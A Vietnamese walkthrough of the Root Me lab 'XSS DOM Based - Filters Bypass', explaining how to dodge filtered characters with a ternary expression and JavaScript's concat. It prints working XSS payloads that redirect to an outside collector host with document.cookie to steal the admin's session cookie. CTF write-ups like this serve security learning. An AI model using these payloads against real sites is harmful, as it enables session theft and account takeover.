Xin chào mọi người. Trong bài viết hôm nay mình sẽ nói cách khai thác lab XSS DOM Based - Filters Bypass trên root me. Nhìn vào đề bài thì có thể biết ngay nó có lỗ hổng liên quan đến Dom xss rồi. Bài này nó yêu cầu lấy được cookie của admin. Truy cập vào lab và mở mã nguồn của nó ra
- Nhìn lên ảnh trên có thể thấy được logic code trong thẻ script kia. Nếu chúng ta nhập đúng cái số random cũng không có flag đâu nên khỏi cần quan tâm.
- Vậy có thể nhìn thấy ngay là đầu vào của chúng ta được reflec lại trong đoạn script như trên ảnh kia.
- Oki như thường lệ thì thử alert(1) xem sao nhưng để alert được chúng ta cần đóng dấu quot lại và thêm lệnh mới sau:
';alert(1);
- Oh no nó filter cái dấu chấm phẩy rồi. Thử các dấu khác thì thấy nó fiter dấu: +%"; mấy dấu mà mình hay dùng để khai thác
- Đến đây thử tìm các payload khác xem sao nhưng kiểu gì cũng cần dùng đến dấu chấm phẩy để kết thúc câu lệnh trước.
- Rồi ngồi ngâm ngâm lúc thì mới nhớ tới câu điều kiện: var number=
'1'?alert(1):'1'
thì bùm nó đã được - Đến đây nghĩ ngon ăn rồi thì sử dụng window.location.href và gọi tới burp colaborator của mình thôi.
- Sử dụng payload:
1'?(window.location.href=('https://alzvookurrw402d2ukimhrh2ttzsnmbb.oastify.com?cookie='+document.cookie):'1
thì bùm nó báo mình đang muốn chuyển hướng à. Vào burp colabo cũng không thấy request nào bắn tới cả - Vậy thử bỏ https: đi xem sao thì chẳng thấy hiện tượng gì xảy ra cả
- Lúc này lú luôn vì thử alert(document.cookie) vẫn hoạt động bình thường có bị chặn gì đâu. Thì ngồi check kỹ lại payload thấy cái dấu cộng kia. Trước đó là check thử những ký tự nào bị filter rồi mà quên mất. Giờ thì đi tìm cái khác thay cho dấu + thôi.
- Mình có tìm được hàm concat của js và thử payload mới:
1'?(window.location.href=('//[burp colaborator hoặc dùng webhook nhé]?cookie=').concat('', document.cookie)):'1
và nó đã hoạt động. Khi các bạn thực hiện thì thay - Các b nhớ test tài khoản của chính mình trước nhé nếu được rồi thì gửi đường dẫn tới cho admin thôi. Nhớ là đường dẫn phải bắt đầu bằng http nhé https là không được đâu )). Flag các b tự tìm nha